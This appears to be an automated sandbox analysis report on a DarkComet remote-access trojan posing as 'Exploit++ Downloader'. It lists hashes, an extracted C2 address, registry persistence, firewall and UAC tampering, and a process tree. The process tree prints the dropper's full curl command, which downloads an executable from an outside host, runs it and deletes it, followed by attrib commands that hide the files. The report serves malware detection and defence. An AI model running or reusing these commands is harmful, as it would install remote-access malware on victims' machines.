Analysis
-
max time kernel
123s -
max time network
125s -
platform
windows10-ltsc 2021_x64 -
resource
win10ltsc2021-20241023-en -
resource tags
arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system -
submitted
01-12-2024 20:41
Static task
static1
1 signatures
General
-
Target
Exploit++ Downloader.exe
-
Size
27KB
-
MD5
d363863c21f0d453eaaa438f00027554
-
SHA1
7ba078266d3151068b500b9ce8cc4e579ad84a4a
-
SHA256
12eafe77459f406a8187cb7675249dfed1b214f47eff60d1291b42ed00c576e4
-
SHA512
1ff53e7a3f6eee3b99111a79bded3106fb809bd494b23839a5790a78f8b6baedbfaa707a16ceda481f93edde4d9b8bae06f12c444e16f7def5ce06f297f2bc37
-
SSDEEP
384:SsuozKPc0cDxRHXLRq418p/d6tVqQ4m9lHM1UopuJE5UjovhObRZUbjMUWDBVhIB:TLLIXTEs1Urjov4RScUWD7hq7W2e0W0
Malware Config
Extracted
Family
darkcomet
Botnet
Guest16
C2
147.185.221.24:14161
Mutex
RO_MUTEX-QFYD2RJ
Attributes
-
InstallPath
MSDCSC\msdcsc.exe
-
gencode
scW2Kk9yHEWs
-
install
true
-
offline_keylogger
true
-
persistence
false
-
reg_key
GoogleDebugJ
Signatures
-
Darkcomet family
-
Modifies WinLogon for persistence 2 TTPs 3 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit = "C:\\Windows\\system32\\userinit.exe,C:\\Users\\Admin\\AppData\\Local\\Temp\\MSDCSC\\msdcsc.exe" test.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit = "C:\\Windows\\system32\\userinit.exe,C:\\Users\\Admin\\AppData\\Local\\Temp\\MSDCSC\\msdcsc.exe,C:\\Windows\\TEMP\\MSDCSC\\msdcsc.exe" IntelGpuUpdater.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit = "C:\\Windows\\system32\\userinit.exe,C:\\Windows\\TEMP\\MSDCSC\\msdcsc.exe" msdcsc.exe -
Modifies firewall policy service 3 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile msdcsc.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall = "1" msdcsc.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\DisableNotifications = "1" msdcsc.exe -
Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "1" msdcsc.exe -
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "0" msdcsc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "0" msdcsc.exe -
Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-4074627901-37362009-3519777259-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "0" msdcsc.exe -
Disables Task Manager via registry modification
-
Downloads MZ/PE file
-
Sets file to hidden 1 TTPs 4 IoCs
Modifies file attributes to stop it showing in Explorer etc.
pid Process 4304 attrib.exe 5028 attrib.exe 2124 attrib.exe 3548 attrib.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4074627901-37362009-3519777259-1000\Control Panel\International\Geo\Nation test.exe -
Executes dropped EXE 7 IoCs
pid Process 5084 test.exe 3136 msdcsc.exe 4020 IntelGpuUpdaterHelper.exe 2576 IntelGpuUpdaterHelper.exe 2552 IntelGpuUpdater.exe 5116 msdcsc.exe 1852 IntelGpuUpdater.exe -
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "0" msdcsc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "0" msdcsc.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-4074627901-37362009-3519777259-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GoogleDebugJ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\MSDCSC\\msdcsc.exe" test.exe -
resource yara_rule behavioral1/files/0x0029000000045048-2.dat upx behavioral1/memory/5084-4-0x0000000000400000-0x00000000004B7000-memory.dmp upx behavioral1/memory/5084-8-0x0000000000400000-0x00000000004B7000-memory.dmp upx behavioral1/memory/2552-18-0x0000000000400000-0x00000000004B7000-memory.dmp upx behavioral1/memory/2552-20-0x0000000000400000-0x00000000004B7000-memory.dmp upx behavioral1/memory/5116-22-0x0000000000400000-0x00000000004B7000-memory.dmp upx behavioral1/memory/3136-24-0x0000000000400000-0x00000000004B7000-memory.dmp upx behavioral1/memory/1852-26-0x0000000000400000-0x00000000004B7000-memory.dmp upx behavioral1/memory/3136-29-0x0000000000400000-0x00000000004B7000-memory.dmp upx behavioral1/memory/3136-31-0x0000000000400000-0x00000000004B7000-memory.dmp upx behavioral1/memory/3136-35-0x0000000000400000-0x00000000004B7000-memory.dmp upx behavioral1/memory/3136-37-0x0000000000400000-0x00000000004B7000-memory.dmp upx behavioral1/memory/3136-41-0x0000000000400000-0x00000000004B7000-memory.dmp upx behavioral1/memory/1852-45-0x0000000000400000-0x00000000004B7000-memory.dmp upx behavioral1/memory/1852-46-0x0000000000400000-0x00000000004B7000-memory.dmp upx behavioral1/memory/1852-48-0x0000000000400000-0x00000000004B7000-memory.dmp upx -
Drops file in Windows directory 3 IoCs
description ioc Process File created C:\Windows\IntelGpuUpdater.exe cmd.exe File created C:\Windows\IntelGpuUpdaterHelper.exe cmd.exe File opened for modification C:\Windows\IntelGpuUpdater.exe attrib.exe -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2852 sc.exe 8 sc.exe 2212 sc.exe 3416 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 36 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language IntelGpuUpdater.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language attrib.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language curl.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language attrib.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msdcsc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language IntelGpuUpdater.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language timeout.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language curl.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msdcsc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language attrib.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language test.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language IntelGpuUpdaterHelper.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language notepad.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language attrib.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language curl.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language IntelGpuUpdaterHelper.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Exploit++ Downloader.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language notepad.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 4876 timeout.exe -
Modifies data under HKEY_USERS 44 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" IntelGpuUpdater.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{470C0EBD-5D73-4D58-9CED-E91E22E23282} {000214E4-0000-0000-C000-000000000046} 0xFFFF = 01000000000000003f9c51803144db01 IntelGpuUpdater.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Notepad\fWindowsOnlyEOL = "0" notepad.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Notepad\fMatchCase = "0" notepad.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\System IntelGpuUpdater.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" IntelGpuUpdater.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{596AB062-B4D2-4215-9F74-E9109B0A8153} {000214E4-0000-0000-C000-000000000046} 0xFFFF = 0100000000000000b6d74c803144db01 IntelGpuUpdater.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{F81E9010-6EA4-11CE-A7FF-00AA003CA9F6} {000214E4-0000-0000-C000-000000000046} 0xFFFF = 0100000000000000b23a4f803144db01 IntelGpuUpdater.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{23170F69-40C1-278A-1000-000100020000} {000214E4-0000-0000-C000-000000000046} 0xFFFF = 01000000000000003f9c51803144db01 IntelGpuUpdater.exe Key created \REGISTRY\USER\.DEFAULT\Software msdcsc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft msdcsc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion msdcsc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Notepad notepad.exe Key created \REGISTRY\USER\.DEFAULT\Software\DC3_FEXEC IntelGpuUpdater.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Notepad\fWrapAround = "0" notepad.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion IntelGpuUpdater.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Notepad\fPasteOriginalEOL = "0" notepad.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached IntelGpuUpdater.exe Key created \REGISTRY\USER\.DEFAULT\Software\DC3_FEXEC msdcsc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows IntelGpuUpdater.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" IntelGpuUpdater.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" IntelGpuUpdater.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" msdcsc.exe Key created \REGISTRY\USER\.DEFAULT\Software\DC3_FEXEC IntelGpuUpdater.exe Key created \REGISTRY\USER\.DEFAULT\Software IntelGpuUpdater.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{99D353BC-C813-41EC-8F28-EAE61E702E57} {A08CE4D0-FA25-44AB-B57C-C7B1C323E0B9} 0xFFFF = 0100000000000000b23a4f803144db01 IntelGpuUpdater.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Notepad\fReverse = "0" notepad.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Notepad\iWindowPosX = "52" notepad.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft IntelGpuUpdater.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ IntelGpuUpdater.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer IntelGpuUpdater.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Notepad\iWindowPosDY = "555" notepad.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" IntelGpuUpdater.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{1D27F844-3A1F-4410-85AC-14651078412D} {000214E4-0000-0000-C000-000000000046} 0xFFFF = 01000000000000003f9c51803144db01 IntelGpuUpdater.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies msdcsc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\System msdcsc.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Notepad\iWindowPosY = "52" notepad.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies IntelGpuUpdater.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows msdcsc.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{E2BF9676-5F8F-435C-97EB-11607A5BEDF7} {A08CE4D0-FA25-44AB-B57C-C7B1C323E0B9} 0xFFFF = 01000000000000003f9c51803144db01 IntelGpuUpdater.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\SlowContextMenuEntries = 6024b221ea3a6910a2dc08002b30309d9c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 IntelGpuUpdater.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Notepad\iWindowPosDX = "768" notepad.exe Key created \REGISTRY\USER\.DEFAULT\Software IntelGpuUpdater.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{E2BF9676-5F8F-435C-97EB-11607A5BEDF7} {000214E4-0000-0000-C000-000000000046} 0xFFFF = 0100000000000000b23a4f803144db01 IntelGpuUpdater.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ test.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2576 IntelGpuUpdaterHelper.exe 2576 IntelGpuUpdaterHelper.exe 2576 IntelGpuUpdaterHelper.exe 2576 IntelGpuUpdaterHelper.exe 2576 IntelGpuUpdaterHelper.exe 2576 IntelGpuUpdaterHelper.exe 2576 IntelGpuUpdaterHelper.exe 2576 IntelGpuUpdaterHelper.exe 2576 IntelGpuUpdaterHelper.exe 2576 IntelGpuUpdaterHelper.exe 2576 IntelGpuUpdaterHelper.exe 2576 IntelGpuUpdaterHelper.exe 2576 IntelGpuUpdaterHelper.exe 2576 IntelGpuUpdaterHelper.exe 2576 IntelGpuUpdaterHelper.exe 2576 IntelGpuUpdaterHelper.exe 2576 IntelGpuUpdaterHelper.exe 2576 IntelGpuUpdaterHelper.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe 3136 msdcsc.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 5084 test.exe Token: SeSecurityPrivilege 5084 test.exe Token: SeTakeOwnershipPrivilege 5084 test.exe Token: SeLoadDriverPrivilege 5084 test.exe Token: SeSystemProfilePrivilege 5084 test.exe Token: SeSystemtimePrivilege 5084 test.exe Token: SeProfSingleProcessPrivilege 5084 test.exe Token: SeIncBasePriorityPrivilege 5084 test.exe Token: SeCreatePagefilePrivilege 5084 test.exe Token: SeBackupPrivilege 5084 test.exe Token: SeRestorePrivilege 5084 test.exe Token: SeShutdownPrivilege 5084 test.exe Token: SeDebugPrivilege 5084 test.exe Token: SeSystemEnvironmentPrivilege 5084 test.exe Token: SeChangeNotifyPrivilege 5084 test.exe Token: SeRemoteShutdownPrivilege 5084 test.exe Token: SeUndockPrivilege 5084 test.exe Token: SeManageVolumePrivilege 5084 test.exe Token: SeImpersonatePrivilege 5084 test.exe Token: SeCreateGlobalPrivilege 5084 test.exe Token: 33 5084 test.exe Token: 34 5084 test.exe Token: 35 5084 test.exe Token: 36 5084 test.exe Token: SeIncreaseQuotaPrivilege 3136 msdcsc.exe Token: SeSecurityPrivilege 3136 msdcsc.exe Token: SeTakeOwnershipPrivilege 3136 msdcsc.exe Token: SeLoadDriverPrivilege 3136 msdcsc.exe Token: SeSystemProfilePrivilege 3136 msdcsc.exe Token: SeSystemtimePrivilege 3136 msdcsc.exe Token: SeProfSingleProcessPrivilege 3136 msdcsc.exe Token: SeIncBasePriorityPrivilege 3136 msdcsc.exe Token: SeCreatePagefilePrivilege 3136 msdcsc.exe Token: SeBackupPrivilege 3136 msdcsc.exe Token: SeRestorePrivilege 3136 msdcsc.exe Token: SeShutdownPrivilege 3136 msdcsc.exe Token: SeDebugPrivilege 3136 msdcsc.exe Token: SeSystemEnvironmentPrivilege 3136 msdcsc.exe Token: SeChangeNotifyPrivilege 3136 msdcsc.exe Token: SeRemoteShutdownPrivilege 3136 msdcsc.exe Token: SeUndockPrivilege 3136 msdcsc.exe Token: SeManageVolumePrivilege 3136 msdcsc.exe Token: SeImpersonatePrivilege 3136 msdcsc.exe Token: SeCreateGlobalPrivilege 3136 msdcsc.exe Token: 33 3136 msdcsc.exe Token: 34 3136 msdcsc.exe Token: 35 3136 msdcsc.exe Token: 36 3136 msdcsc.exe Token: SeAssignPrimaryTokenPrivilege 2552 IntelGpuUpdater.exe Token: SeLockMemoryPrivilege 2552 IntelGpuUpdater.exe Token: SeIncreaseQuotaPrivilege 2552 IntelGpuUpdater.exe Token: SeTcbPrivilege 2552 IntelGpuUpdater.exe Token: SeSecurityPrivilege 2552 IntelGpuUpdater.exe Token: SeTakeOwnershipPrivilege 2552 IntelGpuUpdater.exe Token: SeLoadDriverPrivilege 2552 IntelGpuUpdater.exe Token: SeSystemProfilePrivilege 2552 IntelGpuUpdater.exe Token: SeSystemtimePrivilege 2552 IntelGpuUpdater.exe Token: SeProfSingleProcessPrivilege 2552 IntelGpuUpdater.exe Token: SeIncBasePriorityPrivilege 2552 IntelGpuUpdater.exe Token: SeCreatePagefilePrivilege 2552 IntelGpuUpdater.exe Token: SeCreatePermanentPrivilege 2552 IntelGpuUpdater.exe Token: SeBackupPrivilege 2552 IntelGpuUpdater.exe Token: SeRestorePrivilege 2552 IntelGpuUpdater.exe Token: SeShutdownPrivilege 2552 IntelGpuUpdater.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 3136 msdcsc.exe 5116 msdcsc.exe 1852 IntelGpuUpdater.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1596 wrote to memory of 3280 1596 Exploit++ Downloader.exe 83 PID 1596 wrote to memory of 3280 1596 Exploit++ Downloader.exe 83 PID 1596 wrote to memory of 3280 1596 Exploit++ Downloader.exe 83 PID 3280 wrote to memory of 4856 3280 cmd.exe 84 PID 3280 wrote to memory of 4856 3280 cmd.exe 84 PID 3280 wrote to memory of 4856 3280 cmd.exe 84 PID 1596 wrote to memory of 1056 1596 Exploit++ Downloader.exe 85 PID 1596 wrote to memory of 1056 1596 Exploit++ Downloader.exe 85 PID 1596 wrote to memory of 1056 1596 Exploit++ Downloader.exe 85 PID 1056 wrote to memory of 4240 1056 cmd.exe 86 PID 1056 wrote to memory of 4240 1056 cmd.exe 86 PID 1056 wrote to memory of 4240 1056 cmd.exe 86 PID 4240 wrote to memory of 5044 4240 cmd.exe 87 PID 4240 wrote to memory of 5044 4240 cmd.exe 87 PID 4240 wrote to memory of 5044 4240 cmd.exe 87 PID 4240 wrote to memory of 5084 4240 cmd.exe 88 PID 4240 wrote to memory of 5084 4240 cmd.exe 88 PID 4240 wrote to memory of 5084 4240 cmd.exe 88 PID 4240 wrote to memory of 4876 4240 cmd.exe 89 PID 4240 wrote to memory of 4876 4240 cmd.exe 89 PID 4240 wrote to memory of 4876 4240 cmd.exe 89 PID 5084 wrote to memory of 1440 5084 test.exe 92 PID 5084 wrote to memory of 1440 5084 test.exe 92 PID 5084 wrote to memory of 1440 5084 test.exe 92 PID 5084 wrote to memory of 3708 5084 test.exe 94 PID 5084 wrote to memory of 3708 5084 test.exe 94 PID 5084 wrote to memory of 3708 5084 test.exe 94 PID 1440 wrote to memory of 4304 1440 cmd.exe 96 PID 1440 wrote to memory of 4304 1440 cmd.exe 96 PID 1440 wrote to memory of 4304 1440 cmd.exe 96 PID 3708 wrote to memory of 5028 3708 cmd.exe 97 PID 3708 wrote to memory of 5028 3708 cmd.exe 97 PID 3708 wrote to memory of 5028 3708 cmd.exe 97 PID 5084 wrote to memory of 3136 5084 test.exe 98 PID 5084 wrote to memory of 3136 5084 test.exe 98 PID 5084 wrote to memory of 3136 5084 test.exe 98 PID 3136 wrote to memory of 3164 3136 msdcsc.exe 99 PID 3136 wrote to memory of 3164 3136 msdcsc.exe 99 PID 3136 wrote to memory of 3164 3136 msdcsc.exe 99 PID 3136 wrote to memory of 3164 3136 msdcsc.exe 99 PID 3136 wrote to memory of 3164 3136 msdcsc.exe 99 PID 3136 wrote to memory of 3164 3136 msdcsc.exe 99 PID 3136 wrote to memory of 3164 3136 msdcsc.exe 99 PID 3136 wrote to memory of 3164 3136 msdcsc.exe 99 PID 3136 wrote to memory of 3164 3136 msdcsc.exe 99 PID 3136 wrote to memory of 3164 3136 msdcsc.exe 99 PID 3136 wrote to memory of 3164 3136 msdcsc.exe 99 PID 3136 wrote to memory of 3164 3136 msdcsc.exe 99 PID 3136 wrote to memory of 3164 3136 msdcsc.exe 99 PID 3136 wrote to memory of 3164 3136 msdcsc.exe 99 PID 3136 wrote to memory of 3164 3136 msdcsc.exe 99 PID 3136 wrote to memory of 3164 3136 msdcsc.exe 99 PID 3136 wrote to memory of 3164 3136 msdcsc.exe 99 PID 3136 wrote to memory of 3164 3136 msdcsc.exe 99 PID 3136 wrote to memory of 3164 3136 msdcsc.exe 99 PID 3136 wrote to memory of 3164 3136 msdcsc.exe 99 PID 3136 wrote to memory of 3164 3136 msdcsc.exe 99 PID 3136 wrote to memory of 3164 3136 msdcsc.exe 99 PID 1596 wrote to memory of 1076 1596 Exploit++ Downloader.exe 102 PID 1596 wrote to memory of 1076 1596 Exploit++ Downloader.exe 102 PID 1596 wrote to memory of 1076 1596 Exploit++ Downloader.exe 102 PID 1076 wrote to memory of 1264 1076 cmd.exe 103 PID 1076 wrote to memory of 1264 1076 cmd.exe 103 PID 1076 wrote to memory of 1264 1076 cmd.exe 103 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\CurrentVersion msdcsc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\CurrentVersion\Explorern msdcsc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\CurrentVersion\Explorern\NoControlPanel = "0" msdcsc.exe -
Views/modifies file attributes 1 TTPs 4 IoCs
pid Process 3548 attrib.exe 4304 attrib.exe 5028 attrib.exe 2124 attrib.exe -
cURL User-Agent 3 IoCs
Uses User-Agent string associated with cURL utility.
description flow ioc HTTP User-Agent header 5 curl/8.7.1 HTTP User-Agent header 28 curl/8.7.1 HTTP User-Agent header 29 curl/8.7.1
Processes
-
C:\Users\Admin\AppData\Local\Temp\Exploit++ Downloader.exe"C:\Users\Admin\AppData\Local\Temp\Exploit++ Downloader.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1596 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c cmd /c "cmd /c sc delete IntelGpuUpdater && cmd /c sc stop IntelGpuUpdater && "2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3280 -
C:\Windows\SysWOW64\cmd.execmd /c "cmd /c sc delete IntelGpuUpdater && cmd /c sc stop IntelGpuUpdater && "3⤵
- System Location Discovery: System Language Discovery
PID:4856
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c cmd /c "curl https://dontuseme.ct8.pl/test.exe > %localappdata%\test.exe && start %localappdata%\test.exe && timeout 5 && del %localappdata%\test.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1056 -
C:\Windows\SysWOW64\cmd.execmd /c "curl https://dontuseme.ct8.pl/test.exe > C:\Users\Admin\AppData\Local\test.exe && start C:\Users\Admin\AppData\Local\test.exe && timeout 5 && del C:\Users\Admin\AppData\Local\test.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4240 -
C:\Windows\SysWOW64\curl.execurl https://dontuseme.ct8.pl/test.exe4⤵
- System Location Discovery: System Language Discovery
PID:5044
-
-
C:\Users\Admin\AppData\Local\test.exeC:\Users\Admin\AppData\Local\test.exe4⤵
- Modifies WinLogon for persistence
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5084 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k attrib "C:\Users\Admin\AppData\Local\test.exe" +s +h5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1440 -
C:\Windows\SysWOW64\attrib.exeattrib "C:\Users\Admin\AppData\Local\test.exe" +s +h6⤵
- Sets file to hidden
- System Location Discovery: System Language Discovery
- Views/modifies file attributes
PID:4304
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k attrib "C:\Users\Admin\AppData\Local" +s +h5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3708 -
